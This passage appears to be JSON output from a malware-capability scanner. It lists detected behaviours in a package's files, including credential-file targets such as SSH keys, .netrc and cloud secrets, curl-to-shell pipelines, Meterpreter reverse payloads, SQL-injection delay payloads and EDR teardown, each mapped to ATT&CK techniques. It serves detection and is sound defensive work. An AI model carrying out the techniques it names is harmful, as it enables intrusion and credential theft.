"micro-behaviors/data/db/sql::sql-delete", "conf": 0.5, "crit": 3, "desc": "SQL DELETE statement with clause", "from": [ { "off": 33799, "file": 45, "line": 802 } ], "uses": [ 1322 ] }, { "id": "micro-behaviors/communications/http/services/cloud::aws-api-endpoint", "conf": 0.8, "crit": 3, "desc": "References an AWS API endpoint", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/communications/http/oauth::oauth-redirect-uri-parameter", "conf": 0.86, "crit": 3, "desc": "OAuth redirect URI parameter", "from": [ { "file": 116 } ] }, { "id": "objectives/exfiltration/messaging/telegram::sensitive-document-name-targets--rx-1", "atk": "T1567", "conf": 0.92, "crit": 3, "desc": "Sensitive doc filename targets (credentials)", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/process/fd/stdio::stdout-string", "conf": 0.3, "crit": 2, "desc": "References the stdout stream name", "from": [ { "file": 8 } ] }, { "id": "objectives/anti-static/obfuscation/payload/polymorphic::llm-antivirus-evasion-target", "atk": "T1027", "conf": 0.92, "crit": 3, "desc": "Antivirus evasion target", "from": [ { "file": 125 } ] }, { "id": "objectives/discovery/system/profile::runtime-architecture-field", "atk": "T1082", "conf": 0.9, "crit": 3, "desc": "Runtime profile architecture field", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/communications/http/url/endpoint::rest-admin-config-user-endpoints", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "REST admin config endpoints", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/http/client/library::python-session-method-call", "conf": 0.85, "crit": 3, "desc": "Python session-like method call", "from": [ { "file": 10 } ] }, { "id": "objectives/evasion/security-bypass/waf::aws-waf-name-reference", "conf": 0.9, "crit": 1, "desc": "References AWS WAF", "from": [ { "file": 33 } ] }, { "id": "objectives/execution/exploit/sandbox-escape::python-object-module-builtins-access", "atk": "T1059.006,T1203", "conf": 0.99, "crit": 4, "desc": "Python object accesses its module builtins" }, { "id": "micro-behaviors/communications/http/post::enctype-attr", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "HTML form encoding attribute", "from": [ { "file": 43 } ] }, { "id": "objectives/command-and-control/channel/encrypted-framing::encrypted-c2-message-types--output", "atk": "T1573", "conf": 0.92, "crit": 3, "desc": "Agent message type (get_output)" }, { "id": "well-known/lib/stdlib/python-stdlib::asyncio-reference", "conf": 0.5, "crit": 3, "desc": "Python asyncio library reference", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/communications/http/header/content-type::python-json-content-type", "conf": 0.94, "crit": 3, "desc": "Python JSON content type", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/http/login::http-login-username-field", "atk": "T1071.001", "conf": 0.86, "crit": 1, "desc": "HTTP login username field", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-173-245-source-literal", "conf": 0.85, "crit": 3, "desc": "Cloudflare proxy IP (173.245.48-63 range)", "from": [ { "file": 131 } ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/string/concat::python-dotted-fstring", "conf": 0.9, "crit": 1, "desc": "Dotted Python f-string", "from": [ { "file": 35 } ] }, { "id": "objectives/impact/dos/social-platform::python-client-target-set", "atk": "T1498.001", "mbc": "B0042", "conf": 0.9, "crit": 3, "desc": "Assigns target to connected client", "from": [ { "file": 63 } ] }, { "id": "micro-behaviors/fs/file/open::write-append-create-mode", "conf": 0.85, "crit": 3, "desc": "Python file opened for write or append" }, { "id": "micro-behaviors/os/env/cloud::python-aws-secret-access-key-env-read", "conf": 0.95, "crit": 3, "desc": "Python reads AWS secret-key environment variable" }, { "id": "micro-behaviors/fs/path/secret-config::netrc", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": ".netrc credentials file", "from": [ { "file": 129 } ] }, { "id": "objectives/command-and-control/infrastructure/paste::ghostbin", "conf": 0.7, "crit": 3, "desc": "Ghostbin reference", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-ecdsa", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "id_ecdsa filename constant", "from": [ { "file": 41 } ] }, { "id": "objectives/evasion/security-bypass/waf::imperva-name-reference", "conf": 0.9, "crit": 1, "desc": "References Imperva or Incapsula", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/data/db/sql::schema-enumeration-query-suite", "conf": 0.94, "crit": 3, "desc": "SQL schema enumeration query suite", "from": [ { "off": 11015, "file": 45, "line": 298 }, { "off": 70336, "file": 53, "line": 1771 } ], "uses": [ 300, 652 ] }, { "id": "micro-behaviors/communications/http/request/result::http-result-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Structured result field", "from": [ { "file": 67 } ] }, { "id": "micro-behaviors/os/security/selinux::setenforce-enforcing", "conf": 0.9, "crit": 3, "desc": "Sets SELinux back to enforcing mode", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/os/privilege/elevation::sudo-command", "conf": 0.9, "crit": 3, "desc": "Shell command invokes sudo" }, { "id": "metadata/package/testing/corpus::sqli-category-label", "conf": 0.9, "crit": 3, "desc": "SQL injection category label", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/os/container/runtime::docker-cli-run-create", "conf": 0.82, "crit": 3, "desc": "Docker CLI run or create command", "from": [ { "file": 2 } ] }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-5", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Conditional compares a hostname value" }, { "id": "objectives/impact/crypto-manipulation/weakening::generator-before-script", "atk": "T1565.001", "conf": 0.94, "crit": 3, "desc": "Orders generator before script", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/os/env/read::python-os-getenv-call", "conf": 0.92, "crit": 3, "desc": "Python reads an environment variable", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/communications/http/telemetry::splunk-hec-event-api-path", "conf": 0.93, "crit": 3, "desc": "Splunk HTTP event collector API path", "from": [ { "file": 112 } ] }, { "id": "micro-behaviors/process/exit/terminate::python-sys-exit-symbol", "conf": 0.84, "crit": 3, "desc": "Python sys.exit symbol", "from": [ { "file": 20 } ] }, { "id": "micro-behaviors/communications/http/header/content-type::json-header", "conf": 0.9, "crit": 3, "desc": "References HTTP Content-Type application/json", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::agent-hook-input-field", "conf": 0.9, "crit": 3, "desc": "Reads a hook command field", "from": [ { "file": 22 } ] }, { "id": "objectives/persistence/system/init/boot::etc-rc-local", "atk": "T1037.004", "conf": 0.8, "crit": 3, "desc": "References /etc/rc.local boot path", "from": [ { "file": 53 } ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-5", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "ECDSA or Ed25519 SSH key path literal", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/http/browser-automation::authentication-token-name-literal", "conf": 0.9, "crit": 3, "desc": "Authentication token name literal", "from": [ { "file": 45 } ] }, { "id": "objectives/execution/exploit/access-control::control-route-path", "atk": "T1210", "conf": 0.92, "crit": 3, "desc": "Command or script execution route path", "from": [ { "file": 53 } ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-backtick-command-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.98, "crit": 3, "desc": "Backtick shell command string", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/process/enumerate/shell::ps-ef", "atk": "T1057", "conf": 0.6, "crit": 3, "desc": "ps -ef command" }, { "id": "micro-behaviors/communications/http/header/custom::x-forwarded-host", "conf": 0.9, "crit": 3, "desc": "X-Forwarded-Host proxy header", "from": [ { "file": 19 } ] }, { "id": "objectives/supply-chain/credential-theft/registry::credentials-file-basename-marker", "atk": "T1552.001", "conf": 0.4, "crit": 3, "desc": "Credentials filename marker", "from": [ { "file": 105 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::files-object-field", "conf": 0.8, "crit": 3, "desc": "JSON files object field", "from": [ { "file": 13 } ] }, { "id": "micro-behaviors/communications/modbus::keyword", "conf": 0.85, "crit": 3, "desc": "Modbus protocol keyword reference", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/communications/http/server/framework::threaded-python-http-server", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "Threaded Python HTTP server", "from": [ { "file": 59 } ] }, { "id": "micro-behaviors/communications/http/response::http-403-forbidden", "conf": 0.75, "crit": 3, "desc": "HTTP 403 forbidden response text", "from": [ { "file": 89 } ] }, { "id": "well-known/tool/detection/sast::trufflehog-tool", "conf": 1.0, "crit": 3, "desc": "TruffleHog secret scanner reference", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::python-agent-skill-tree-marker", "conf": 0.9, "crit": 3, "desc": "Python references an AI agent skill tree", "from": [ { "file": 156 } ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--fastly", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Fastly)", "from": [ { "file": 45 } ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::azure-credential-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "Azure credential environment name", "from": [ { "file": 88 } ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-api-key-field", "atk": "T1195.002", "conf": 0.96, "crit": 3, "desc": "API-key field marker for proxy use", "from": [ { "file": 2 } ] }, { "id": "objectives/evasion/kernel-hide/keywords::rootkit-word", "conf": 0.5, "crit": 3, "desc": "Rootkit keyword", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/process/interpreter/python::exec-builtin", "atk": "T1059.006", "mbc": "E1059", "conf": 0.9, "crit": 3, "desc": "Executes dynamic Python code with exec()" }, { "id": "objectives/discovery/network/scan/port::port-ref", "atk": "T1046", "mbc": "E1046", "conf": 0.5, "crit": 1, "desc": "Port scanning terminology", "from": [ { "file": 16 }, { "file": 20 }, { "file": 60 }, { "file": 61 }, { "file": 154 }, { "file": 170 } ], "uses": [ 1194 ] }, { "id": "objectives/anti-static/obfuscation/payload/bytecode::import-dunder", "conf": 1.0, "crit": 3, "desc": "__import__ function", "from": [ { "file": 33 } ] }, { "id": "metadata/file/catalog/service::service-name-github", "conf": 0.6, "crit": 3, "desc": "GitHub service name", "from": [ { "file": 7 } ] }, { "id": "objectives/command-and-control/backdoor/tasking/socket::routeros-python-command-loop", "atk": "T1059", "mbc": "B0022", "conf": 0.75, "crit": 3, "desc": "Python command iteration loop", "from": [ { "file": 26 } ] }, { "id": "micro-behaviors/fs/path/config/app::vscode-project-settings-path", "conf": 0.9, "crit": 3, "desc": "VS Code project settings path", "from": [ { "file": 141 } ] }, { "id": "micro-behaviors/os/env/ai-provider::anthropic-api-key-name-reference", "conf": 0.9, "crit": 3, "desc": "References ANTHROPIC_API_KEY env variable", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/communications/icmp/ping::python-ping-shell-flag", "conf": 0.9, "crit": 3, "desc": "Python shell command includes ping flags" }, { "id": "objectives/credential-access/theft/keywords::access-token-field-name", "conf": 0.96, "crit": 1, "desc": "Access-token field name in structured data", "from": [ { "file": 59 } ] }, { "id": "micro-behaviors/process/create/sudo::sudo-noninteractive", "conf": 0.9, "crit": 3, "desc": "Runs sudo without a password prompt", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/fs/delete/directory::source-directory-delete-target", "conf": 0.9, "crit": 3, "desc": "Delete command directly targets src", "from": [ { "file": 142 } ] }, { "id": "micro-behaviors/communications/http/url/query::ai-prompt-query-remote-url-value", "conf": 0.95, "crit": 3, "desc": "Query value contains a remote URL", "from": [ { "file": 45 } ] }, { "id": "objectives/impact/degrade/edr/teardown::safeboot-edr-vendor--rx-3", "atk": "T1562.001", "conf": 0.9, "crit": 3, "desc": "SafeBoot cleanup targets major EDR vendor", "from": [ { "file": 12 } ] }, { "id": "objectives/credential-access/ssh/key::private-key-path-ed25519", "conf": 0.6, "crit": 3, "desc": "SSH Ed25519 private-key path literal", "from": [ { "file": 141 } ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::script-slack-secret-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "Slack secret environment name", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/fs/path/token::api-key-path-fragment", "atk": "T1552.001", "conf": 0.8, "crit": 3, "desc": "API key filename or path fragment", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/communications/socket/netcat::netcat-keyword", "conf": 0.7, "crit": 3, "desc": "netcat command keyword", "from": [ { "file": 129 } ] }, { "id": "well-known/malware/botnet/pcpjack::pcpjack-staged-module-names", "atk": "T1105", "conf": 0.94, "crit": 3, "desc": "PCPJack staged module names", "from": [ { "file": 170 } ] }, { "id": "micro-behaviors/crypto/hash/mining::mining-title", "conf": 0.6, "crit": 2, "desc": "Mining string (title case)", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/os/env/config::python-named-secret-env-lookup", "conf": 0.9, "crit": 3, "desc": "Python reads a named secret environment variable" }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/archive/extract/capability::python-extract-member-call", "conf": 0.7, "crit": 3, "desc": "Python extract() method call", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/process/argument/subcommand::cli-verb-items", "conf": 0.82, "crit": 3, "desc": "CLI items selector token", "from": [ { "file": 61 } ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::php-open-tag-literal", "atk": "T1505.003", "mbc": "B0030", "conf": 0.9, "crit": 3, "desc": "PHP open tag in source string", "from": [ { "file": 45 } ] }, { "id": "metadata/package/testing/presence/harness::test-directory-path", "conf": 1.0, "crit": 2, "desc": "File is in common test directory", "from": [ { "file": 158 } ] }, { "id": "metadata/package/ecosystem::pypi-license-metadata", "conf": 0.94, "crit": 2, "desc": "PyPI package declares license information", "from": [ { "off": 0, "file": 218, "line": 1 } ], "uses": [ 295, 1187, 1285 ] }, { "id": "objectives/exfiltration/stealer/credential/network-appliance::dns-exfil-label", "atk": "T1041", "conf": 0.78, "crit": 3, "desc": "DNS exfil label", "from": [ { "file": 121 } ] }, { "id": "micro-behaviors/fs/path/config/privesc::etc-sudoers", "atk": "T1548", "conf": 0.85, "crit": 3, "desc": "References /etc/sudoers configuration", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/http/llm::python-anthropic-sdk-client", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Constructs an Anthropic SDK client", "from": [ { "file": 61 } ] }, { "id": "well-known/tool/detection/security-scanner::defensive-security-risk-target-phrase", "conf": 0.94, "crit": 3, "desc": "Defensive security-risk target phrase", "from": [ { "file": 1 } ] }, { "id": "micro-behaviors/fs/path/token::gcloud-credentials", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "Google Cloud credentials path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/process/create/shell/spawn::curl-pipe-exec-python-shell", "conf": 0.9, "crit": 3, "desc": "Curl piped directly to Python", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/communications/http/server/framework::python-loopback-http-server", "atk": "T1071.001", "mbc": "C0002", "conf": 0.95, "crit": 3, "desc": "Python HTTP server bound to a loopback host", "from": [ { "off": 7316, "file": 59, "line": 189 }, { "off": 1635, "file": 89, "line": 41 }, { "off": 587, "file": 104, "line": 23 } ], "uses": [ 815, 1175 ] }, { "id": "micro-behaviors/fs/write/file/handle::python-binary-write-pattern", "mbc": "C0016", "conf": 0.85, "crit": 3, "desc": "Binary file write pattern", "from": [ { "off": 26056, "file": 58, "line": 708 }, { "file": 185 } ], "uses": [ 656, 742 ] }, { "id": "micro-behaviors/data/manipulation::string-replace-result-assignment", "conf": 0.9, "crit": 3, "desc": "Assigns a string replace result", "from": [ { "file": 3 } ] }, { "id": "micro-behaviors/communications/http/header/custom::python-request-add-header", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Python HTTP request adds header", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/data/serialize/envelope::json-checksum-field", "conf": 0.9, "crit": 3, "desc": "JSON object checksum field fragment", "from": [ { "file": 121 } ] }, { "id": "micro-behaviors/communications/http/header/content-length::python-content-length-header", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Python HTTP Content-Length header", "from": [ { "file": 43 } ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-path-segment", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like path segment", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/data/llm/codegen::llm-output-response-word", "conf": 0.86, "crit": 3, "desc": "LLM response output reference", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/http/token-auth::jwt-unsecured-algorithm", "conf": 0.98, "crit": 3, "desc": "Unsecured alg none setting", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/os/package-manager/install::apt-install-cmd", "conf": 0.75, "crit": 3, "desc": "Installs a package with apt", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/process/fd/stdio::stdin-string", "conf": 0.3, "crit": 2, "desc": "References standard input name (stdin)", "from": [ { "file": 83 } ] }, { "id": "micro-behaviors/fs/proc/cmdline::process-self-cmdline", "conf": 0.66, "crit": 3, "desc": "References own command-line procfs path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/fs/path/application/executable::chromium-browser-process-name", "conf": 0.5, "crit": 3, "desc": "Standalone chromium-browser process-name token", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/data/control-flow/assert::python-assert-statement", "conf": 0.95, "crit": 2, "desc": "Checks condition using Python assert" }, { "id": "micro-behaviors/process/create/shell/spawn::bash-keyword", "conf": 0.7, "crit": 3, "desc": "bash shell keyword (beyond shebang)", "from": [ { "file": 189 } ] }, { "id": "micro-behaviors/os/container/runtime::secrets-path", "conf": 0.7, "crit": 3, "desc": "Kubernetes secrets path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/crypto/asymmetric/key::armored-named-private-key-header", "conf": 0.95, "crit": 3, "desc": "References named armored private-key header", "from": [ { "file": 201 } ] }, { "id": "micro-behaviors/os/firewall/iptables::iptables", "conf": 0.9, "crit": 3, "desc": "iptables command" }, { "id": "well-known/lib/format/pyyaml::pyyaml-library-context", "conf": 0.98, "crit": 3, "desc": "PyYAML library context", "from": [ { "file": 101 }, { "file": 109 }, { "file": 120 }, { "file": 130 } ], "uses": [ 737 ] }, { "id": "well-known/dual-use/tunnel/dnscat2::dnscat-name", "conf": 0.7, "crit": 3, "desc": "dnscat or dnscat2 product name", "from": [ { "file": 121 } ] }, { "id": "objectives/credential-access/env/secrets/cloud-access::aws-secret-env-access", "atk": "T1552.001", "conf": 0.88, "crit": 3, "desc": "Reads AWS secret key from environment" }, { "id": "metadata/package/ecosystem::pypi-basic-metadata", "conf": 0.95, "crit": 2, "desc": "PyPI package declares name, version, summary", "from": [ { "off": 0, "file": 218, "line": 1 } ], "uses": [ 157, 335, 1229, 1285 ] }, { "id": "objectives/evasion/masquerade/process/path::path-public-temp-writable", "atk": "T1036.005", "mbc": "F0004", "conf": 0.6, "crit": 3, "desc": "Public or Temp writable-path marker", "from": [ { "file": 117 } ] }, { "id": "micro-behaviors/crypto/asymmetric/key::pem-private-key-footer", "conf": 0.99, "crit": 3, "desc": "PEM private-key footer", "from": [ { "file": 201 } ] }, { "id": "objectives/execution/automation/agent::vulnerability-state-marker-vulnerable", "atk": "T1059,T1190,T1595", "conf": 0.82, "crit": 3, "desc": "Vulnerable or CVE state marker", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/path/private-key::keystore-suffix", "atk": "T1552.001", "conf": 0.8, "crit": 1, "desc": "Keystore file path suffix", "from": [ { "file": 124 } ] }, { "id": "objectives/discovery/host/geo::country-code-field", "atk": "T1016", "conf": 0.6, "crit": 1, "desc": "Country code geolocation field", "from": [ { "off": 1650, "file": 12, "line": 61 }, { "file": 47 }, { "off": 38432, "file": 93, "line": 886 }, { "off": 12227, "file": 117, "line": 264 } ], "uses": [ 17, 44 ] }, { "id": "micro-behaviors/communications/http/post::post", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "HTTP POST method string literal", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/process/create/shell/spawn::shell-execution-comp", "atk": "T1059", "mbc": "E1059", "conf": 0.9, "crit": 3, "desc": "Shell command execution capability", "from": [ { "file": 132 } ], "uses": [ 827 ] }, { "id": "objectives/anti-analysis/sandbox-detect/script::anubis-analysis-marker", "atk": "T1497", "mbc": "B0007", "conf": 0.9, "crit": 3, "desc": "Anubis sandbox marker string", "from": [ { "file": 94 } ] }, { "id": "micro-behaviors/communications/http/header/custom::x-real-ip", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "X-Real-IP proxy header", "from": [ { "file": 116 } ] }, { "id": "metadata/file/string/cloud::aws-imds-v2-token-ttl-header", "conf": 0.9, "crit": 3, "desc": "AWS IMDSv2 token TTL header", "from": [ { "file": 119 } ] }, { "id": "objectives/evasion/masquerade/traffic::script-client-browser-header-pair", "atk": "T1071.001", "mbc": "B0030", "conf": 0.9, "crit": 3, "desc": "HTTP client sends browser User-Agent and Accept headers", "from": [ { "file": 42 } ], "uses": [ 311, 424, 1049 ] }, { "id": "micro-behaviors/communications/ip/parse::socket-inet-pton", "conf": 0.8, "crit": 3, "desc": "Parse IP with socket.inet_pton", "from": [ { "file": 92 } ] }, { "id": "micro-behaviors/communications/http/server/request::python-http-request-body-read", "conf": 0.9, "crit": 3, "desc": "Reads raw Python HTTP request body", "from": [ { "file": 59 } ] }, { "id": "micro-behaviors/os/service/start::sshd-restart-command", "conf": 0.9, "crit": 3, "desc": "Restarts the OpenSSH daemon", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/socket/send::python-sendto", "atk": "T1071", "mbc": "C0001", "conf": 0.7, "crit": 3, "desc": "Python socket sendto() call", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/fs/chmod/executable/mode::python-executable", "atk": "T1222", "mbc": "E1222", "conf": 0.85, "crit": 3, "desc": "Python sets executable file permissions", "from": [ { "file": 82 } ] }, { "id": "micro-behaviors/os/service/daemon::remote-access-daemons", "conf": 0.7, "crit": 3, "desc": "Remote access daemon references", "from": [ { "file": 2 } ], "uses": [ 1281 ] }, { "id": "micro-behaviors/fs/path/filename-credential::pgpass", "conf": 0.9, "crit": 3, "desc": ".pgpass credentials file", "from": [ { "file": 129 } ] }, { "id": "metadata/file/string/cloud::aws-instance-id-metadata-path", "conf": 0.88, "crit": 3, "desc": "AWS instance-id metadata path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/communications/http/token-auth::jwt-rsa-algorithm-field", "conf": 0.9, "crit": 3, "desc": "RSA algorithm field", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/data/llm/agent::agent-identity-ai-assistant", "conf": 0.8, "crit": 3, "desc": "AI assistant identity reference", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/os/env/vcs::github-token-name-reference", "conf": 0.9, "crit": 3, "desc": "References the GITHUB_TOKEN environment variable", "from": [ { "file": 150 } ] }, { "id": "micro-behaviors/crypto/library/provider::imports-cryptography", "conf": 0.95, "crit": 3, "desc": "Imports Python cryptography library", "from": [ { "file": 146 } ] }, { "id": "micro-behaviors/process/create/subprocess::subprocess-output-options", "atk": "T1059.006", "mbc": "C0017", "conf": 0.9, "crit": 3, "desc": "Python subprocess captures output streams" }, { "id": "micro-behaviors/os/service/configure::service-auto-start-setting", "atk": "T1543.003", "conf": 0.9, "crit": 3, "desc": "Windows service automatic-start setting", "from": [ { "off": 38218, "file": 125, "line": 850 } ], "uses": [ 272 ] }, { "id": "objectives/credential-access/files/config::gcloud-config-path-ref", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "References gcloud application credentials path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/process/interpreter/python::eval-builtin", "atk": "T1059.006", "mbc": "E1059", "conf": 0.85, "crit": 3, "desc": "Python eval() built-in function" }, { "id": "micro-behaviors/crypto/hash/digest::time-derived-request-hash", "conf": 0.86, "crit": 3, "desc": "Hashes time-derived request input", "from": [ { "file": 136 } ] }, { "id": "well-known/tool/offensive/metasploit::console-marker", "conf": 0.99, "crit": 3, "desc": "Metasploit command-line launcher marker", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/os/env/ai-provider::python-openai-anthropic-key-env-read", "conf": 0.95, "crit": 3, "desc": "Python reads OpenAI or Anthropic API key", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/communications/proxy/socks::socks4-string", "atk": "T1090", "mbc": "C0001", "conf": 0.5, "crit": 3, "desc": "SOCKS4 proxy protocol marker", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/communications/ssh/connect::ssh-string", "atk": "T1021.004", "conf": 0.4, "crit": 1, "desc": "References the SSH protocol", "from": [ { "file": 2 } ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-oracle", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token oracle", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/fs/log-rotation::rotation-phrase", "conf": 0.85, "crit": 2, "desc": "Log rotation cleanup phrase", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/os/env/ai-provider::openai-api-key-name-reference", "conf": 0.9, "crit": 3, "desc": "References OPENAI_API_KEY env variable", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/process/create/shell/pipeline::curl-pipe-shell-text", "atk": "T1059.004", "conf": 0.9, "crit": 3, "desc": "References a curl- or wget-to-shell pipeline", "from": [ { "file": 45 } ] }, { "id": "objectives/execution/lure/shell::run-rm-rf-this", "atk": "T1204", "conf": 0.92, "crit": 3, "desc": "Run/paste cue before `rm -rf`", "from": [ { "file": 189 } ] }, { "id": "objectives/execution/exploit/sql-injection::postgres-delay-payload", "atk": "T1190", "conf": 0.95, "crit": 4, "desc": "PostgreSQL pg_sleep time-delay injection payload", "from": [ { "file": 70 } ] }, { "id": "well-known/tool/offensive/metasploit::meterpreter-reverse-payload", "atk": "T1071", "mbc": "B0030", "conf": 0.9, "crit": 4, "desc": "Meterpreter reverse or bind payload module", "from": [ { "file": 138 } ] }, { "id": "objectives/command-and-control/infrastructure/domain/malicious::short-domain-url-pattern", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Very short domain in URL", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/crypto/hash/file::hash-mismatch-abort", "conf": 0.9, "crit": 3, "desc": "Reports a downloaded digest mismatch", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/os/autorun/scheduled::schtasks-utility-token", "atk": "T1053.005", "mbc": "F0012", "conf": 0.7, "crit": 3, "desc": "Windows schtasks utility reference", "from": [ { "file": 129 } ] }, { "id": "metadata/encoded-payload/hex", "conf": 0.9, "crit": 3, "desc": "Encoded content decoded: hex" }, { "id": "micro-behaviors/data/llm/agent::agent-identity-claude", "conf": 0.8, "crit": 3, "desc": "Claude agent identity reference", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/data/db/schema/relational::account-last-seen-field", "conf": 0.8, "crit": 3, "desc": "Account last-activity timestamp field name", "from": [ { "file": 12 } ] }, { "id": "objectives/credential-access/ssh/key::known-hosts", "atk": "T1552.004", "conf": 0.5, "crit": 3, "desc": "SSH .ssh/known_hosts path reference", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/http/url/query::password-query-parameter", "conf": 0.8, "crit": 3, "desc": "URL password query parameter", "from": [ { "file": 70 } ] }, { "id": "micro-behaviors/communications/proxy/config::proxy-list-config-key", "atk": "T1090", "conf": 0.92, "crit": 3, "desc": "Proxy-list configuration key", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/communications/http/request/client::python-explicit-http-method-call", "conf": 0.85, "crit": 3, "desc": "Python request call uses explicit HTTP method", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/communications/http/client/library::anthropic-client-constructor", "conf": 0.95, "crit": 3, "desc": "Constructs an Anthropic API client", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/communications/http/download/url::executable-url-reference-a", "conf": 0.88, "crit": 3, "desc": "URL path ends in a Windows executable", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/os/sysinfo/hostname::python-os-uname-nodename", "atk": "T1082", "mbc": "E1082", "conf": 0.95, "crit": 3, "desc": "Reads hostname via os.uname nodename", "from": [ { "file": 125 } ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/parse/vocabulary::password-key-value-pair", "conf": 0.8, "crit": 3, "desc": "password/passwd key with inline value", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/ui/window/navigation::browser-location-external-assign", "conf": 0.82, "crit": 3, "desc": "Assigns external URL to location" }, { "id": "micro-behaviors/communications/http/url/telemetry::ingest-api-path", "atk": "T1071.001", "mbc": "C0002", "conf": 0.85, "crit": 3, "desc": "Ingest or upload API endpoint path", "from": [ { "file": 127 } ] }, { "id": "micro-behaviors/fs/path/location::media-mount-path", 